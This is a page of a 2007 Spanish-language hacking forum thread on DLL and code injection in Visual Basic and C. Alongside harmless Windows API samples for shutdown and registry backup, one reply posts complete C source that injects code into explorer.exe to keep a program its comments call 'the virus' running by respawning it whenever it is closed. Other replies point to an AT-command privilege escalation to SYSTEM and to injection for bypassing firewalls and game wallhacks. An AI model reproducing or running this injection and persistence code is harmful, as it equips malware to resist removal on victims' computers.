elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Introducción a la Factorización De Semiprimos (RSA)


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP)
| | | |-+  Programación Visual Basic (Moderadores: LeandroA, seba123neo)
| | | | |-+  [Source] Inyeccion Dll en VB
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: 1 [2] 3 4 5 6 7 Ir Abajo Respuesta Imprimir
Autor Tema: [Source] Inyeccion Dll en VB  (Leído 22,376 veces)
Mad Antrax
Colaborador
***
Desconectado Desconectado

Mensajes: 2.164


Cheats y Trainers para todos!


Ver Perfil WWW
Re: [Source] Inyeccion Dll en VB
« Respuesta #10 en: 16 Junio 2007, 18:26 pm »

 :o

Esa API no la conozco :S Que es lo que hace exactamente? Podeis poner algún ejemplo?

Gracias


En línea

No hago hacks/cheats para juegos Online.
Tampoco ayudo a nadie a realizar hacks/cheats para juegos Online.
LeandroA
Moderador
***
Desconectado Desconectado

Mensajes: 760


www.leandroascierto.com


Ver Perfil WWW
Re: [Source] Inyeccion Dll en VB
« Respuesta #11 en: 16 Junio 2007, 18:37 pm »

entonoses en que quedo lo de la dll se puede o no en visual, de  que estamos ablando de una dll no activeX?? (esto es lo feo de solo saver programar en visual b :( desconoces todas estas cosas)

Saludos


En línea

Hendrix
In The Kernel Land
Colaborador
***
Desconectado Desconectado

Mensajes: 2.276



Ver Perfil WWW
Re: [Source] Inyeccion Dll en VB
« Respuesta #12 en: 16 Junio 2007, 18:39 pm »

Te pego 3 codigos del ApiGuide sobre esa api... ;)

ExitWindowsX - NT
Código:
'In a module
Private Const EWX_LOGOFF = 0
Private Const EWX_SHUTDOWN = 1
Private Const EWX_REBOOT = 2
Private Const EWX_FORCE = 4
Private Const TOKEN_ADJUST_PRIVILEGES = &H20
Private Const TOKEN_QUERY = &H8
Private Const SE_PRIVILEGE_ENABLED = &H2
Private Const ANYSIZE_ARRAY = 1
Private Const VER_PLATFORM_WIN32_NT = 2
Type OSVERSIONINFO
    dwOSVersionInfoSize As Long
    dwMajorVersion As Long
    dwMinorVersion As Long
    dwBuildNumber As Long
    dwPlatformId As Long
    szCSDVersion As String * 128
End Type
Type LUID
    LowPart As Long
    HighPart As Long
End Type
Type LUID_AND_ATTRIBUTES
    pLuid As LUID
    Attributes As Long
End Type
Type TOKEN_PRIVILEGES
    PrivilegeCount As Long
    Privileges(ANYSIZE_ARRAY) As LUID_AND_ATTRIBUTES
End Type
Private Declare Function GetCurrentProcess Lib "kernel32" () As Long
Private Declare Function OpenProcessToken Lib "advapi32" (ByVal ProcessHandle As Long, ByVal DesiredAccess As Long, TokenHandle As Long) As Long
Private Declare Function LookupPrivilegeValue Lib "advapi32" Alias "LookupPrivilegeValueA" (ByVal lpSystemName As String, ByVal lpName As String, lpLuid As LUID) As Long
Private Declare Function AdjustTokenPrivileges Lib "advapi32" (ByVal TokenHandle As Long, ByVal DisableAllPrivileges As Long, NewState As TOKEN_PRIVILEGES, ByVal BufferLength As Long, PreviousState As TOKEN_PRIVILEGES, ReturnLength As Long) As Long
Private Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long
Private Declare Function GetVersionEx Lib "kernel32" Alias "GetVersionExA" (ByRef lpVersionInformation As OSVERSIONINFO) As Long
'Detect if the program is running under Windows NT
Public Function IsWinNT() As Boolean
    Dim myOS As OSVERSIONINFO
    myOS.dwOSVersionInfoSize = Len(myOS)
    GetVersionEx myOS
    IsWinNT = (myOS.dwPlatformId = VER_PLATFORM_WIN32_NT)
End Function
'set the shut down privilege for the current application
Private Sub EnableShutDown()
    Dim hProc As Long
    Dim hToken As Long
    Dim mLUID As LUID
    Dim mPriv As TOKEN_PRIVILEGES
    Dim mNewPriv As TOKEN_PRIVILEGES
    hProc = GetCurrentProcess()
    OpenProcessToken hProc, TOKEN_ADJUST_PRIVILEGES + TOKEN_QUERY, hToken
    LookupPrivilegeValue "", "SeShutdownPrivilege", mLUID
    mPriv.PrivilegeCount = 1
    mPriv.Privileges(0).Attributes = SE_PRIVILEGE_ENABLED
    mPriv.Privileges(0).pLuid = mLUID
    ' enable shutdown privilege for the current application
    AdjustTokenPrivileges hToken, False, mPriv, 4 + (12 * mPriv.PrivilegeCount), mNewPriv, 4 + (12 * mNewPriv.PrivilegeCount)
End Sub
' Shut Down NT
Public Sub ShutDownNT(Force As Boolean)
    Dim ret As Long
    Dim Flags As Long
    Flags = EWX_SHUTDOWN
    If Force Then Flags = Flags + EWX_FORCE
    If IsWinNT Then EnableShutDown
    ExitWindowsEx Flags, 0
End Sub
'Restart NT
Public Sub RebootNT(Force As Boolean)
    Dim ret As Long
    Dim Flags As Long
    Flags = EWX_REBOOT
    If Force Then Flags = Flags + EWX_FORCE
    If IsWinNT Then EnableShutDown
    ExitWindowsEx Flags, 0
End Sub
'Log off the current user
Public Sub LogOffNT(Force As Boolean)
    Dim ret As Long
    Dim Flags As Long
    Flags = EWX_LOGOFF
    If Force Then Flags = Flags + EWX_FORCE
    ExitWindowsEx Flags, 0
End Sub

'In a form
'This project needs a form with three command buttons
Private Sub Command1_Click()
    LogOffNT True
End Sub
Private Sub Command2_Click()
    RebootNT True
End Sub
Private Sub Command3_Click()
    ShutDownNT True
End Sub
Private Sub Form_Load()
    'KPD-Team 2000
    'URL: http://www.allapi.net/
    'E-Mail: KPDTeam@Allapi.net
    Command1.Caption = "Log Off NT"
    Command2.Caption = "Reboot NT"
    Command3.Caption = "Shutdown NT"
End Sub

System Shutdown
Código:
' Shutdown Flags
Const EWX_LOGOFF = 0
Const EWX_SHUTDOWN = 1
Const EWX_REBOOT = 2
Const EWX_FORCE = 4
Const SE_PRIVILEGE_ENABLED = &H2
Const TokenPrivileges = 3
Const TOKEN_ASSIGN_PRIMARY = &H1
Const TOKEN_DUPLICATE = &H2
Const TOKEN_IMPERSONATE = &H4
Const TOKEN_QUERY = &H8
Const TOKEN_QUERY_SOURCE = &H10
Const TOKEN_ADJUST_PRIVILEGES = &H20
Const TOKEN_ADJUST_GROUPS = &H40
Const TOKEN_ADJUST_DEFAULT = &H80
Const SE_SHUTDOWN_NAME = "SeShutdownPrivilege"
Const ANYSIZE_ARRAY = 1
Private Type LARGE_INTEGER
    lowpart As Long
    highpart As Long
End Type
Private Type Luid
    lowpart As Long
    highpart As Long
End Type
Private Type LUID_AND_ATTRIBUTES
    'pLuid As Luid
    pLuid As LARGE_INTEGER
    Attributes As Long
End Type
Private Type TOKEN_PRIVILEGES
    PrivilegeCount As Long
    Privileges(ANYSIZE_ARRAY) As LUID_AND_ATTRIBUTES
End Type
Private Declare Function InitiateSystemShutdown Lib "advapi32.dll" Alias "InitiateSystemShutdownA" (ByVal lpMachineName As String, ByVal lpMessage As String, ByVal dwTimeout As Long, ByVal bForceAppsClosed As Long, ByVal bRebootAfterShutdown As Long) As Long
Private Declare Function OpenProcessToken Lib "advapi32.dll" (ByVal ProcessHandle As Long, ByVal DesiredAccess As Long, TokenHandle As Long) As Long
Private Declare Function GetCurrentProcess Lib "kernel32" () As Long
Private Declare Function LookupPrivilegeValue Lib "advapi32.dll" Alias "LookupPrivilegeValueA" (ByVal lpSystemName As String, ByVal lpName As String, lpLuid As LARGE_INTEGER) As Long
Private Declare Function AdjustTokenPrivileges Lib "advapi32.dll" (ByVal TokenHandle As Long, ByVal DisableAllPrivileges As Long, NewState As TOKEN_PRIVILEGES, ByVal BufferLength As Long, PreviousState As TOKEN_PRIVILEGES, ReturnLength As Long) As Long
Private Declare Function GetComputerName Lib "kernel32" Alias "GetComputerNameA" (ByVal lpBuffer As String, nSize As Long) As Long
Private Declare Function GetLastError Lib "kernel32" () As Long
Public Function InitiateShutdownMachine(ByVal Machine As String, Optional Force As Variant, Optional Restart As Variant, Optional AllowLocalShutdown As Variant, Optional Delay As Variant, Optional Message As Variant) As Boolean
    Dim hProc As Long
    Dim OldTokenStuff As TOKEN_PRIVILEGES
    Dim OldTokenStuffLen As Long
    Dim NewTokenStuff As TOKEN_PRIVILEGES
    Dim NewTokenStuffLen As Long
    Dim pSize As Long
    If IsMissing(Force) Then Force = False
    If IsMissing(Restart) Then Restart = True
    If IsMissing(AllowLocalShutdown) Then AllowLocalShutdown = False
    If IsMissing(Delay) Then Delay = 0
    If IsMissing(Message) Then Message = ""
    'Make sure the Machine-name doesn't start with '\\'
    If InStr(Machine, "\\") = 1 Then
        Machine = Right(Machine, Len(Machine) - 2)
    End If
    'check if it's the local machine that's going to be shutdown
    If (LCase(GetMyMachineName) = LCase(Machine)) Then
        'may we shut this computer down?
        If AllowLocalShutdown = False Then Exit Function
        'open access token
        If OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES Or TOKEN_QUERY, hProc) = 0 Then
            MsgBox "OpenProcessToken Error: " & GetLastError()
            Exit Function
        End If
        'retrieve the locally unique identifier to represent the Shutdown-privilege name
        If LookupPrivilegeValue(vbNullString, SE_SHUTDOWN_NAME, OldTokenStuff.Privileges(0).pLuid) = 0 Then
            MsgBox "LookupPrivilegeValue Error: " & GetLastError()
            Exit Function
        End If
        NewTokenStuff = OldTokenStuff
        NewTokenStuff.PrivilegeCount = 1
        NewTokenStuff.Privileges(0).Attributes = SE_PRIVILEGE_ENABLED
        NewTokenStuffLen = Len(NewTokenStuff)
        pSize = Len(NewTokenStuff)
        'Enable shutdown-privilege
        If AdjustTokenPrivileges(hProc, False, NewTokenStuff, NewTokenStuffLen, OldTokenStuff, OldTokenStuffLen) = 0 Then
            MsgBox "AdjustTokenPrivileges Error: " & GetLastError()
            Exit Function
        End If
        'initiate the system shutdown
        If InitiateSystemShutdown("\\" & Machine, Message, Delay, Force, Restart) = 0 Then
            Exit Function
        End If
        NewTokenStuff.Privileges(0).Attributes = 0
        'Disable shutdown-privilege
        If AdjustTokenPrivileges(hProc, False, NewTokenStuff, Len(NewTokenStuff), OldTokenStuff, Len(OldTokenStuff)) = 0 Then
            Exit Function
        End If
    Else
        'initiate the system shutdown
        If InitiateSystemShutdown("\\" & Machine, Message, Delay, Force, Restart) = 0 Then
            Exit Function
        End If
    End If
    InitiateShutdownMachine = True
End Function
Function GetMyMachineName() As String
    Dim sLen As Long
    'create a buffer
    GetMyMachineName = Space(100)
    sLen = 100
    'retrieve the computer name
    If GetComputerName(GetMyMachineName, sLen) Then
        GetMyMachineName = Left(GetMyMachineName, sLen)
    End If
End Function
Private Sub Form_Load()
    'KPD-Team 2000
    'URL: http://www.allapi.net/
    'E-Mail: KPDTeam@Allapi.net
    InitiateShutdownMachine GetMyMachineName, True, True, True, 60, "You initiated a system shutdown..."
End Sub

Save/Restore Key
Código:
'example by Scott Watters (scottw@racewaves.com)

' No rhyme or reason for making some private and some public. Use your own discretion...
Const HKEY_CURRENT_USER = &H80000001
Const TOKEN_QUERY As Long = &H8&
Const TOKEN_ADJUST_PRIVILEGES As Long = &H20&
Const SE_PRIVILEGE_ENABLED As Long = &H2
Const SE_RESTORE_NAME = "SeRestorePrivilege" 'Important for what we're trying to accomplish
Const SE_BACKUP_NAME = "SeBackupPrivilege"
Const REG_FORCE_RESTORE As Long = 8& ' Almost as import, will allow you to restore over a key while it's open!
Const READ_CONTROL = &H20000
Const SYNCHRONIZE = &H100000
Const STANDARD_RIGHTS_READ = (READ_CONTROL)
Const STANDARD_RIGHTS_WRITE = (READ_CONTROL)
Const STANDARD_RIGHTS_ALL = &H1F0000
Const SPECIFIC_RIGHTS_ALL = &HFFFF
Const KEY_QUERY_VALUE = &H1
Const KEY_SET_VALUE = &H2
Const KEY_CREATE_SUB_KEY = &H4
Const KEY_ENUMERATE_SUB_KEYS = &H8
Const KEY_NOTIFY = &H10
Const KEY_CREATE_LINK = &H20
Const KEY_READ = ((STANDARD_RIGHTS_READ Or KEY_QUERY_VALUE Or KEY_ENUMERATE_SUB_KEYS Or KEY_NOTIFY) And (Not SYNCHRONIZE))
Const KEY_ALL_ACCESS = ((STANDARD_RIGHTS_ALL Or KEY_QUERY_VALUE Or KEY_SET_VALUE Or KEY_CREATE_SUB_KEY Or KEY_ENUMERATE_SUB_KEYS Or KEY_NOTIFY Or KEY_CREATE_LINK) And (Not SYNCHRONIZE))
Private Type LUID
   lowpart As Long
   highpart As Long
End Type
Private Type LUID_AND_ATTRIBUTES
   pLuid As LUID
   Attributes As Long
End Type
Private Type TOKEN_PRIVILEGES
   PrivilegeCount As Long
   Privileges As LUID_AND_ATTRIBUTES
End Type
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long     ' Always close your keys when you're done with them!
Private Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long             ' Need to open the key to be able to restore to it.
Private Declare Function RegRestoreKey Lib "advapi32.dll" Alias "RegRestoreKeyA" (ByVal hKey As Long, ByVal lpFile As String, ByVal dwFlags As Long) As Long ' Main function
Private Declare Function AdjustTokenPrivileges Lib "advapi32.dll" (ByVal TokenHandle As Long, ByVal DisableAllPriv As Long, NewState As TOKEN_PRIVILEGES, ByVal BufferLength As Long, PreviousState As TOKEN_PRIVILEGES, ReturnLength As Long) As Long                'Used to adjust your program's security privileges, can't restore without it!
Private Declare Function LookupPrivilegeValue Lib "advapi32.dll" Alias "LookupPrivilegeValueA" (ByVal lpSystemName As Any, ByVal lpName As String, lpLuid As LUID) As Long          'Returns a valid LUID which is important when making security changes in NT.
Private Declare Function OpenProcessToken Lib "advapi32.dll" (ByVal ProcessHandle As Long, ByVal DesiredAccess As Long, TokenHandle As Long) As Long
Private Declare Function GetCurrentProcess Lib "kernel32" () As Long
Private Declare Function RegSaveKey Lib "advapi32.dll" Alias "RegSaveKeyA" (ByVal hKey As Long, ByVal lpFile As String, lpSecurityAttributes As Any) As Long
Function EnablePrivilege(seName As String) As Boolean
    Dim p_lngRtn As Long
    Dim p_lngToken As Long
    Dim p_lngBufferLen As Long
    Dim p_typLUID As LUID
    Dim p_typTokenPriv As TOKEN_PRIVILEGES
    Dim p_typPrevTokenPriv As TOKEN_PRIVILEGES
    p_lngRtn = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES Or TOKEN_QUERY, p_lngToken)
    If p_lngRtn = 0 Then
        Exit Function ' Failed
    ElseIf Err.LastDllError <> 0 Then
        Exit Function ' Failed
    End If
    p_lngRtn = LookupPrivilegeValue(0&, seName, p_typLUID)  'Used to look up privileges LUID.
    If p_lngRtn = 0 Then
        Exit Function ' Failed
    End If
    ' Set it up to adjust the program's security privilege.
    p_typTokenPriv.PrivilegeCount = 1
    p_typTokenPriv.Privileges.Attributes = SE_PRIVILEGE_ENABLED
    p_typTokenPriv.Privileges.pLuid = p_typLUID
    EnablePrivilege = (AdjustTokenPrivileges(p_lngToken, False, p_typTokenPriv, Len(p_typPrevTokenPriv), p_typPrevTokenPriv, p_lngBufferLen) <> 0)
End Function
Public Function RestoreKey(ByVal sKeyName As String, ByVal sFileName As String, lPredefinedKey As Long) As Boolean
    If EnablePrivilege(SE_RESTORE_NAME) = False Then Exit Function
    Dim hKey As Long, lRetVal As Long
    Call RegOpenKeyEx(lPredefinedKey, sKeyName, 0&, KEY_ALL_ACCESS, hKey)  ' Must open key to restore it
    'The file it's restoring from was created using the RegSaveKey function
    Call RegRestoreKey(hKey, sFileName, REG_FORCE_RESTORE)
    RegCloseKey hKey ' Don't want to keep the key ope. It causes problems.
End Function
Public Function SaveKey(ByVal sKeyName As String, ByVal sFileName As String, lPredefinedKey As Long) As Boolean
    If EnablePrivilege(SE_BACKUP_NAME) = False Then Exit Function
    Dim hKey As Long, lRetVal As Long
    Call RegOpenKeyEx(lPredefinedKey, sKeyName, 0&, KEY_ALL_ACCESS, hKey)   ' Must open key to save it
    'Don't forget to "KILL" any existing files before trying to save the registry key!
    If Dir(sFileName) <> "" Then Kill sFileName
    Call RegSaveKey(hKey, sFileName, ByVal 0&)
    RegCloseKey hKey ' Don't want to keep the key ope. It causes problems.
End Function
Private Sub Form_Load()
    Const sFile = "c:\test.reg"
    SaveKey "SOFTWARE\KPD-Team\API-Guide", sFile, HKEY_CURRENT_USER
    RestoreKey "SOFTWARE\KPD-Team\API-Guide", sFile, HKEY_CURRENT_USER
End Sub

Eso es todo, un Saludo tio.  ;) ;)

En línea

"Todos los días perdemos una docena de genios en el anonimato. Y se van. Y nadie sabe de ellos, de su historia, de su peripecia, de lo que han hecho, de sus angustias, de sus alegrías. Pero al menos una docena de genios se van todos los días sin que sepamos de ellos". - Juan Antonio Cebrián
Hendrix
In The Kernel Land
Colaborador
***
Desconectado Desconectado

Mensajes: 2.276



Ver Perfil WWW
Re: [Source] Inyeccion Dll en VB
« Respuesta #13 en: 16 Junio 2007, 18:40 pm »

entonoses en que quedo lo de la dll se puede o no en visual, de  que estamos ablando de una dll no activeX?? (esto es lo feo de solo saber programar en visual b :( desconoces todas estas cosas)

Saludos

La Dll en VB no funciona...tiene que ser una en C/C++
En línea

"Todos los días perdemos una docena de genios en el anonimato. Y se van. Y nadie sabe de ellos, de su historia, de su peripecia, de lo que han hecho, de sus angustias, de sus alegrías. Pero al menos una docena de genios se van todos los días sin que sepamos de ellos". - Juan Antonio Cebrián
Timerlux

Desconectado Desconectado

Mensajes: 89


EmmHHHHHH !!!


Ver Perfil
Re: [Source] Inyeccion Dll en VB
« Respuesta #14 en: 16 Junio 2007, 22:56 pm »

A ver Hendrix o quien pueda

A mi este tema nunca me quedo claro, me podriais explicar un poco en que consiste la inyeccion DLL, mirar os hago unas preguntas para ir al grano

1)se trata de que si yo tengo un codigo de un server.exe , tengo adaptarlo , para compilarlo como una DLL y asi poder inyectarlo.

2)¿Es similar y facilmente adaptable tu codigo para que se inyecte un EXE en el explorador como lo hacen muchos troyanos (Flux ...) ,o este codigo no tiene nada que ver?

Gracias y Saludos
En línea

Hendrix
In The Kernel Land
Colaborador
***
Desconectado Desconectado

Mensajes: 2.276



Ver Perfil WWW
Re: [Source] Inyeccion Dll en VB
« Respuesta #15 en: 16 Junio 2007, 23:02 pm »

Evidentemente este codigo aplicado a un .exe no chuta, ya que el LoadLibrary es para Dll'sy no para exe's....lo que hace el codigo es inyectar codigo para que se ejecute el loadlibrary con la Dll que kieras en el proceso remoto (con CreateRemoteThread)....la api LoadLibrary al cargar la Dll la ejecuta desde DllMain... ;)

Un Saludo.  ;)

En línea

"Todos los días perdemos una docena de genios en el anonimato. Y se van. Y nadie sabe de ellos, de su historia, de su peripecia, de lo que han hecho, de sus angustias, de sus alegrías. Pero al menos una docena de genios se van todos los días sin que sepamos de ellos". - Juan Antonio Cebrián
~~
Ex-Staff
*
Desconectado Desconectado

Mensajes: 2.981


Ver Perfil WWW
Re: [Source] Inyeccion Dll en VB
« Respuesta #16 en: 17 Junio 2007, 11:48 am »

Para inyectar un codigo directamente tienes q utilizar otro metodo, aki os dejo un ejemplo (en C), aclaro q no es mio, me lo pasó MITM:

Código:
#include <windows.h>

//declaramos punteros a las apis que usaremos en el codigo inyectado
//colocamos los tipos de datos que reciben y el tipo que devuelven
typedef HANDLE (WINAPI *sOpenProcess) (DWORD, BOOL, DWORD);
typedef DWORD (WINAPI *sWaitForSingleObject) (HANDLE, DWORD);
typedef BOOL (WINAPI *sCreateProcess) (LPSTR, LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPSTR, LPSTARTUPINFO, LPPROCESS_INFORMATION);
typedef BOOL (WINAPI *sCloseHandle) (HANDLE);
typedef VOID (WINAPI *sSleep) (DWORD);
typedef HANDLE (WINAPI *sCreateMutex) (LPSECURITY_ATTRIBUTES, BOOL, LPSTR);

//struct que inyectaremos en la memoria del proceso, contendra las
//direcciones de las apis que usaremos y otros datos
struct iDat
{
sCreateMutex pCreateMutex;
sOpenProcess pOpenProcess;
sWaitForSingleObject pWaitForSingleObject;
sCreateProcess pCreateProcess;
sCloseHandle pCloseHandle;
sSleep pSleep;
DWORD PID;
HANDLE hp;
int x;
STARTUPINFO si;
PROCESS_INFORMATION pi;
char Path[MAX_PATH];
char Mutex[50];
};

//prototipos de funciones
DWORD GetAdres(char *module, char *function);
DWORD Resident(iDat *base);
int SubMain();
void Dormir();

int WINAPI WinMain (HINSTANCE hThisInstance, HINSTANCE hPrevInstance, LPSTR lpszArgument, int nFunsterStil)
{
//si no es un win tipo NT(xp, 2000, 2003, nt) salimos
OSVERSIONINFO OSinfo;
OSinfo.dwOSVersionInfoSize=sizeof(OSinfo);
GetVersionEx(&OSinfo);
if (OSinfo.dwPlatformId!=2) return 0;

//verificamos la existencia del mutex "Resident", si ya existe
//el explorer.exe ya esta inyectado y vamos a Dormir()
//en este caso por ser un ejemplo llamamos a Dormir() para
//mantener el proceso del ejemplo
HANDLE om = OpenMutex(SYNCHRONIZE, false, "Resident");
if (om == NULL) { SubMain(); } else { Dormir(); }
return 0;
}

//esta es la funcion que inyectaremos en el proceso del explorer.exe
//observese que se accede a las api y a otros datos usando la structura
//declarada antes, ya que como esta funcion se ejecutara en la memoria de
//otro proceso, no podemos usar apis y variables directamente, porque
//no corresponderian su direccion en la memoria de nuestro proceso
//con la del proceso del explorer.exe, es decir si por ejemplo la
//funcion usa una variable tipo int en la direccion 1000 de nuestro
//proceso, al inyectar el code, la funcion usaría lo que ubiera en
//la direccion 1000 del proceso inyectado, y daria error
//la funcion recibe un puntero a una struct iDat
DWORD Resident(iDat *base)
{
//creamos el mutex "Resident" para marcar el proceso como
//inyectado
base->pCreateMutex(NULL, 0, base->Mutex);
//abrimos el proceso del virus, con permiso de sincronizacion
base->hp = base->pOpenProcess(SYNCHRONIZE, 0, base->PID);
//si error salimos
if(base->hp==0) return 0;
//esperamos a que el proceso termine(es decir si nos terminan)
base->pWaitForSingleObject(base->hp, INFINITE);
//cerramos el handle al proceso
base->pCloseHandle(base->hp);
//esperamos 1/2 seg.
base->pSleep(500);
//entramos a un bucle do que ejecutara el virus si terminan su proceso
do
{
  //ejecutamos el virus
  base->x = base->pCreateProcess(base->Path, 0, 0, 0, 0, 0, 0, 0, &base->si, &base->pi);
  //si error salimos
  if (base->x == 0) break;
  //esperamos a que el proceso termine(osea si nos terminan)
  base->pWaitForSingleObject(base->pi.hProcess, INFINITE);
  //cerramos los handles al proceso y al hilo primario del proceso
  base->pCloseHandle(base->pi.hProcess);
  base->pCloseHandle(base->pi.hThread);
  //dormimos 1/2 seg
  base->pSleep(500);
}
while(1);
return 0;
}
//funcion inyectora
int SubMain()
{
//declaramos variables
DWORD pid;
HWND hv;
HANDLE hp;
iDat dat;
DWORD TamCodigo, dw;
void *vm;
char path[MAX_PATH];
//inicializamos con ceros la struct
ZeroMemory(&dat, sizeof(iDat));

//copiamos la cadena al miembro que se usara como nombre del mutex
//al miembro .Mutex de la struct
lstrcpy(dat.Mutex, "Resident");

//obtenemos el handle a la barra de inicio(que es una ventana, gene
//rada por el explorer.exe) si estamos haciendo esto al iniciar
//la pc seria bueno poner un retardo o un contador con un for
//y con un Sleep ya que puede que el virus se ejecute y como la pc
//recien se inicia, todavia no se haya creado la barra de inicio
hv = FindWindow("Shell_TrayWnd", NULL);
//si error salimos
if (hv==0) return 1;

//obtenemos el PID del proceso que creo la barra de inicio, que sera
//el pid del explorer.exe
GetWindowThreadProcessId(hv, &pid);
//si error salimos
if (pid==0) return 1;

//abrimos el proceso del explorer.exe
hp = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE, false, pid);
//si error salimos
if (hp==0) return 1;

//obtenemos las direcciones de las apis que usaremos y las
//almacenamos en la struct
dat.pOpenProcess = (sOpenProcess)GetAdres("KERNEL32.DLL", "OpenProcess");
dat.pWaitForSingleObject = (sWaitForSingleObject)GetAdres("KERNEL32.DLL", "WaitForSingleObject");
dat.pCreateProcess = (sCreateProcess)GetAdres("KERNEL32.DLL", "CreateProcessA");
dat.pCloseHandle = (sCloseHandle)GetAdres("KERNEL32.DLL", "CloseHandle");
dat.pSleep = (sSleep)GetAdres("KERNEL32.DLL", "Sleep");
dat.pCreateMutex = (sCreateMutex)GetAdres("KERNEL32.DLL", "CreateMutexA");
//almacenamos en la struct nuestro pid y nuestro path tambien
dat.PID = GetCurrentProcessId();
GetModuleFileName(0,path,sizeof(path)); lstrcpy(dat.Path, path);

//reservamos espacio en el proceso para la struct, devolvera un
//puntero a la struct que indicara la direccion de memoria en el
//proceso en que sera escrita la struct
iDat *pDat= (iDat *)VirtualAllocEx(hp, 0, sizeof(iDat), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
//si error salimos
if (pDat==NULL) { CloseHandle(hp); return 1; }
//escribimos la struct, si error salimos
if(!WriteProcessMemory(hp, pDat, &dat, sizeof(iDat), &dw)) goto Fuera;
//calculamos el tamaño de la funcion a inyectar, restando a la
//direccion de la funcion que esta inmediatament debajo de la
//funcion a inyectar, la direccion de la funcion a inyectar
TamCodigo = (long unsigned int)SubMain - (long unsigned int)Resident;

//reservamos espacio para la funcion, devuelve la direccion
//donde se reservo la memoria, que es donde escribiremos la
//funcion
vm = VirtualAllocEx(hp, 0, TamCodigo, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
//si no error
if (vm!=NULL)
{
  //escribimos la funcion, y si no error
  if(WriteProcessMemory(hp, vm, (void*)Resident, TamCodigo, &dw))
  {
   //creamos un hilo remoto en el proceso para ejecutar la funcion
   //pasamos como argumento el puntero a la struct dat
   CreateRemoteThread(hp, NULL, 0, (LPTHREAD_START_ROUTINE)vm, pDat, 0, NULL);
  }
}
Fuera:
//cerramos el handle al proceso
CloseHandle(hp);
//dormimos
Dormir();
return 1;
}
//obtiene la direccion de una api, indicandole la dll donde reside
// y el nombre de la funcion.
DWORD GetAdres(char *module, char *function)
{
HMODULE dh = LoadLibrary(module);
if (!dh) return 0;
DWORD pf = (DWORD)GetProcAddress(dh,function);
if (!pf) { return 0; }
FreeLibrary(dh);
return pf;
}

//funcion que duerme la ejecucion del .exe
void Dormir()
{
while(1) { Sleep(30000); }
}

Lo q hace es inyectar en el explorer un codigo q cada X tiempo comprueva si el proceso q le ha inyectado sigue on, y si lo han cerrado lo revive al instante, es una buena forma de mantener un proceso inmortal  ;D
Con inyeccion dll esto tb se podria hacer ;)



Vale cualkier otro proceso, aunke yo e provado en C con el lsass y ese tipo de procesos y no funcionó, pero con firefox, msn o internet explorer si q funciona  :P

Si que puedes inyectar, leer memoria y escribir en memoria de otros procesos de SYSTEM (como lsass o svchost). Solo necesitas ejecutar tu aplicación con los privilegios heredades => a SYSTEM.

Cuando programé mi MemDumper (dumpeador de memoria de procesos) pude dumpear la memoria de svchost siempre y cuando mi aplicación se lanzara desde SYSTEM.

Para hacerlo solo tienes que usar el bug del comando AT (explicado por mí también en este foro) para pasar un proceso de Admin a SYSTEM.

Saludos!!

Ok muchas graias, voy a hacer algunas pruevas con esa api en C y luego lo publico ;)
En línea

drakolive

Desconectado Desconectado

Mensajes: 141


Ver Perfil
Re: [Source] Inyeccion Dll en VB
« Respuesta #17 en: 17 Junio 2007, 21:00 pm »

me parece excelente hendrix, pero podrias colocar un ejemplo, donde coloqs el source de la DLl (qpor ejemplo de un saludo).. y todo lo demas???
...
para mayor compresion del articulo..
gracias..
espero q coloqn ese ejemplo
En línea

d(-_-)b


Desconectado Desconectado

Mensajes: 1.331



Ver Perfil WWW
Re: [Source] Inyeccion Dll en VB
« Respuesta #18 en: 17 Junio 2007, 21:09 pm »

Alguien me puede decir para que sirven las Inyeccion Dll, Gracias
En línea

Max 400; caracteres restantes: 366
byebye


Desconectado Desconectado

Mensajes: 5.093



Ver Perfil
Re: [Source] Inyeccion Dll en VB
« Respuesta #19 en: 17 Junio 2007, 21:47 pm »

pues para varias cosas, entre una de ellas tomar el control del proceso donde es injectada, pasar cortafuegos, si juegas en linea conoceras los wallhack que tb se hacen injectando una dll para hookear funciones de opengl/DirectX y tener ventajas sobre otros jugadores. en fin con imaginacion se pueden hacer muchas cosas.
En línea

Páginas: 1 [2] 3 4 5 6 7 Ir Arriba Respuesta Imprimir 

Ir a:  
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines